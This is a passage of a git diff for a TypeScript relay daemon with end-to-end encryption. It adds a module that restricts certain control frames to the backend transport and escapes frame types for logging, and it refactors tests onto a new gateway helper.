this.store.getIdentity()const enc = C.aeadSeal(keys.s2c, 0, C.utf8('e2e-welcome'), C.utf8(JSON.stringify({groupKey: C.b64e(this.groupKey),diff --git a/cli/src/lib/relayFrames.ts b/cli/src/lib/relayFrames.tsnew file mode 100644index 000000000..963f4e158--- /dev/null+++ b/cli/src/lib/relayFrames.ts@@ -0,0 +1,54 @@+/**+ * What the core and the gateway both read about a frame, without either importing the other: which+ * connections are this computer's own, which frames only the backend may send, and how a frame type the+ * relay chose is written into a log line. Pure: no state, no keys.+ */++/** A loopback desktop connection (localWsServer.ts), as opposed to a cloud/relay one. */+export function isLocalClientId(connId: string): boolean {+ return connId.startsWith('local:')+}++/**+ * Where a down-frame came from, carried with it to the dispatch.+ *+ * `relay` is the backend link and ONLY the backend link; `local` is a process on this machine+ * talking to the daemon's local socket; `p2p` is a paired device over its own channel. The+ * distinction is a trust boundary, not bookkeeping: a handful of frames are the backend's alone to+ * send, and before `local` existed they were accepted from anything that could open the local port.+ */+export type DownTransport = 'relay' | 'local' | 'p2p'++/**+ * Down-frames only the BACKEND may send, refused from every other transport.+ *+ * Each one hands the daemon an instruction no client is entitled to give:+ * - `machine_meta` names the account's private grid — the inference endpoint every agent on this+ * computer is then pointed at. Forged, it redirects the account's work to a grid of the+ * sender's choosing. A leftover test script did exactly this by accident once.+ * - `machine_revoked` clears the stored SSO session and exits the daemon. Forged, it is a+ * one-frame forced sign-out and denial of service.+ *+ * Neither is sent by any client in this repository — only by `backend/src/lib/adapterWs.ts` and+ * `backend/src/services/MachineService.ts` — so there is nothing to stay compatible with. The+ * backend blocks its OWN `__`-prefixed control frames from web clients for the same reason; these+ * two escaped that rule because they are not `__`-prefixed.+ *+ * `device_keys_changed` and `devlog_append_result` are the backend's own too (the device key log,+ * lib/e2ee/deviceLogSyncer.ts): forged, the first only makes this daemon re-read and verify the log,+ * the second could fake an answer to its own append — neither is anything a client should be sending.+ */+export const BACKEND_ONLY_DOWN_TYPES = new Set(['machine_meta', 'machine_revoked', 'desk_changed', 'zoo_changed', 'machines_changed', 'device_keys_changed', 'devlog_append_result'])++/** A frame type as the sender spelled it, fit for one log line: the relay chooses it, so it is bounded+ * and escaped rather than trusted not to carry a newline that forges the next line. */+export function logSafeType(type: string): string {+ return JSON.stringify(type.length > 64 ? `${type.slice(0, 64)}…` : type)+}++/**+ * The E2EE management requests: pairing a device or a phone from an already trusted browser, and listing+ * or removing the pairings. They act on the keys, so the gateway, which holds them, answers them: a remote+ * client's directly, a window's on this computer when the core hands it over (`GatewayPort.local`).+ */+export const GATEWAY_REQUEST_TYPES = new Set(['device_e2ee_pair', 'phone_pair', 'e2ee_pairings_list', 'e2ee_pairing_unpair', 'e2ee_pairings_unpair_all'])diff --git a/cli/src/lib/remoteViewerRelay.spec.ts b/cli/src/lib/remoteViewerRelay.spec.tsindex 3a29d2606..1e3d49d09 100644--- a/cli/src/lib/remoteViewerRelay.spec.ts+++ b/cli/src/lib/remoteViewerRelay.spec.ts@@ -4,6 +4,7 @@ import { createServer } from 'node:http'import type { AddressInfo } from 'node:net'import { WebSocket, WebSocketServer } from 'ws'import { BackendSocket, type Frame } from '../backendSocket.js'+import { gatewayOf, relaySocket } from '../testing/relaySocket.js'import { attachLocalWsServer } from '../localWsServer.js'import { env } from '../config/env.js'import { DshViewerManager } from '../dsh/viewer.js'@@ -64,7 +65,7 @@ it('desktop local-ws → relay → E2EE → daemon → spawned viewer, includingcleanup.push(() => { env.BACKEND_WS_URL = previousBase })let connected!: () => voidconst online = new Promise<void>((resolve) => { connected = resolve })- const daemon = new BackendSocket(machineId, undefined, (up) => { if (up) connected() })+ const daemon = relaySocket(machineId, undefined, (up) => { if (up) connected() })cleanup.push(() => daemon.stop())daemon.connect()await online@@ -200,7 +201,7 @@ server.listen(Number(process.env.HARNESS_VIEWER_PORT), '127.0.0.1');`)const restarted = urls().at(-1)!expect((await fetch(restarted, { redirect: 'manual' })).status).toBe(302)const ended = once(desktop, 'close')- expect(daemon.revoke(fingerprint(localIdentity.pub)).ok).toBe(true)+ expect(gatewayOf(daemon).revoke(fingerprint(localIdentity.pub)).ok).toBe(true)const [code] = await endedexpect(code).toBe(4404)await expect(fetch(restarted)).rejects.toThrow()diff --git a/cli/src/startupOrder.spec.ts b/cli/src/startupOrder.spec.tsindex 6fefe878d..a0180b4f2 100644--- a/cli/src/startupOrder.spec.ts+++ b/cli/src/startupOrder.spec.ts@@ -197,7 +197,7 @@ describe('the core\'s request gate (core/main.ts)', () => {it('holds requests from the moment the socket exists', () => {const constructed = at('const backend = new BackendSocket(')const held = at('backend.holdRequests()', constructed)- const between = source.slice(source.indexOf('\n', source.indexOf('}, computerId(), autonomousEnv)', constructed)), held)+ const between = source.slice(source.indexOf('\n', source.indexOf('\n })', constructed) + 1), held)// Only the reference other code reads the socket through may come between them; nothing that yields.expect(between.split('\n').map((line) => line.trim()).filter(Boolean)).toEqual(['backendRef = backend'])})diff --git a/cli/src/teams/remote.spec.ts b/cli/src/teams/remote.spec.tsindex 430144e33..355c5d3d7 100644--- a/cli/src/teams/remote.spec.ts+++ b/cli/src/teams/remote.spec.ts@@ -6,6 +6,7 @@ import type { AddressInfo } from 'node:net'import { WebSocket, WebSocketServer } from 'ws'import { expect, it, vi } from 'vitest'import { BackendSocket, type Frame } from '../backendSocket.js'+import { gatewayOf, relaySocket } from '../testing/relaySocket.js'import { attachLocalWsServer } from '../localWsServer.js'import { env } from '../config/env.js'import { registry } from '../lib/registry.js'@@ -20,7 +21,7 @@ import { channelTeamId } from './service.js'for (const channel of [false, true]) it(`routes ${channel ? 'tab channel' : 'team'} questions and replies through paired encrypted relays`, async () => {const root = mkdtempSync(join(tmpdir(), 'team-remote-'))const originalPort = env.PORT- const hosts = [new BackendSocket('team-owner'), new BackendSocket('team-peer')]+ const hosts = [relaySocket('team-owner'), relaySocket('team-peer')]const machineIds = ['team-owner', 'team-peer']const servers = hosts.map(() => createServer((_req, res) => { res.statusCode = 404; res.end() }))const localServers: ReturnType<typeof attachLocalWsServer>[] = []@@ -43,9 +44,11 @@ for (const channel of [false, true]) it(`routes ${channel ? 'tab channel' : 'tea}// The fixture substitutes only the cloud's opaque envelope routing and terminal engines.// RPC authorization, persistence, input receipts, relay pools, pairing and crypto are real.- const sendTo = host.sendTo.bind(host)- vi.spyOn(host, 'isConnected').mockReturnValue(true)- vi.spyOn(host, 'sendTo').mockImplementation((connId, frame) => {+ // The relay's side is the gateway's: what it sends one relayed connection, and whether its link is up.+ const gateway = gatewayOf(host) as unknown as { sendTo(connId: string, frame: Frame): void; connected(): boolean }+ const sendTo = gateway.sendTo.bind(gateway)+ vi.spyOn(gateway, 'connected').mockReturnValue(true)+ vi.spyOn(gateway, 'sendTo').mockImplementation((connId, frame) => {const socket = sockets.get(connId)if (!socket) { sendTo(connId, frame); return }wire.push(frame)@@ -59,7 +62,7 @@ for (const channel of [false, true]) it(`routes ${channel ? 'tab channel' : 'teaconst connId = `team-relay-${++nextConnection}`sockets.set(connId, socket)let target: BackendSocket | undefined- socket.on('close', () => { sockets.delete(connId); target?.e2ee.dropSession(connId) })+ socket.on('close', () => { sockets.delete(connId); (target ? gatewayOf(target) : undefined)?.e2ee.dropSession(connId) })socket.on('message', raw => {const frame = JSON.parse(raw.toString()) as Frameif (frame.type === 'machine_select') {@@ -69,8 +72,8 @@ for (const channel of [false, true]) it(`routes ${channel ? 'tab channel' : 'teasocket.send(JSON.stringify({ type: 'connected', payload: { machineId: machineIds[index] } }))} else if (target) {wire.push(frame)- // The same remote dispatch entry point used by the adapter's cloud socket.- ;(target as unknown as { enqueueDown(frame: Frame, connId: string): void }).enqueueDown(frame, connId)+ // The same remote dispatch entry point the gateway's backend link uses.+ ;(gatewayOf(target) as unknown as { enqueueDown(frame: Frame, connId: string, transport: string): void }).enqueueDown(frame, connId, 'relay')}})})@@ -81,7 +84,7 @@ for (const channel of [false, true]) it(`routes ${channel ? 'tab channel' : 'teafor (let i = 0; i < 2; i++) {const identity = newIdentity()const remote = 1 - i- await hosts[remote].setRemotePassword(password)+ await gatewayOf(hosts[remote]).setRemotePassword(password)const paired = await connectWithPassword({ targetMachineId: machineIds[remote], password, selfIdentity: identity,accessToken: 'synthetic-test-token', backendWsBase: base, autonomousEnv: 'prod', timeoutMs: 5000 })expect(paired.ok).toBe(true)diff --git a/cli/src/teams/transport.spec.ts b/cli/src/teams/transport.spec.tsindex b5eb49d1c..906d24e6c 100644--- a/cli/src/teams/transport.spec.ts+++ b/cli/src/teams/transport.spec.ts@@ -4,6 +4,7 @@ import { tmpdir } from 'node:os'import { join } from 'node:path'import { expect, it, vi } from 'vitest'import { BackendSocket } from '../backendSocket.js'+import { relaySocket } from '../testing/relaySocket.js'import { attachLocalWsServer } from '../localWsServer.js'import { registry } from '../lib/registry.js'import { Team } from './model.js'@@ -11,7 +12,7 @@ import { teamRpc } from './client.js'it('runs create, ask, explicit reply, and continuation through the real daemon WebSocket', async () => {const root = mkdtempSync(join(tmpdir(), 'team-transport-'))- const backend = new BackendSocket('team-fixture')+ const backend = relaySocket('team-fixture')backend.teamStateDir = rootbackend.teamCommand = 'fixture-harness team'const sent: Array<{ agent: string; text: string; id: string }> = []diff --git a/cli/src/testing/relaySocket.ts b/cli/src/testing/relaySocket.tsnew file mode 100644index 000000000..938c95737--- /dev/null+++ b/cli/src/testing/relaySocket.ts@@ -0,0 +1,43 @@+/**+ * The socket and its gateway in one process, as the daemon builds them (core/main.ts), for the specs that+ * drive the relay through the socket. It takes the arguments the socket took when it held the backend link+ * itself, so a spec written against that reads as it did; `gatewayOf` is the gateway it was built with.+ */+import { BackendSocket } from '../backendSocket.js'+import { RelayGateway } from '../gateway/gateway.js'+import type { AuthSessionManager } from '../lib/authSession.js'++export function relaySocket(+ machineId: string,+ auth?: AuthSessionManager,+ onStatus?: (connected: boolean) => void,+ computerId = '',+ autonomousEnv = 'prod',+): BackendSocket {+ const socket = new BackendSocket(machineId, onStatus)+ socket.useGateway(new RelayGateway({ machineId, auth, computerId, autonomousEnv, core: socket.fromGateway }))+ return socket+}++/** The gateway a socket from `relaySocket` was built with. */+export function gatewayOf(socket: BackendSocket): RelayGateway {+ return socket.gateway as RelayGateway+}++/**+ * One frame into the socket as it arrives: a window's on this computer (`local`) straight to the socket's+ * dispatch, anything else (the relay's, a P2P channel's) through the gateway first, which applies the+ * relay's rules and hands on what it admits. Resolves once the frame is handled.+ */+export function dispatchDown(socket: BackendSocket, frame: Record<string, unknown>, connId: string, transport?: 'relay' | 'local' | 'p2p'): Promise<void> {+ const internals = socket as unknown as { dispatchDown: (f: unknown, c: string, t: string) => Promise<void>; localClients: Map<string, unknown> }+ // Unsaid, a frame on a window's live connection is that window's, as the socket reads one.+ const from = transport ?? (internals.localClients.has(connId) ? 'local' : 'relay')+ if (from === 'local') return internals.dispatchDown(frame, connId, 'local')+ return gatewayOf(socket).dispatchDown(frame, connId, from)+}++/** The upstream link of a socket's gateway, for a spec that reads what it queued or dialed. */+export function upstreamOf(socket: BackendSocket): { queue: Array<{ msg: unknown }>; url: string } {+ return (gatewayOf(socket) as unknown as { link: { queue: Array<{ msg: unknown }>; url: string } }).link+}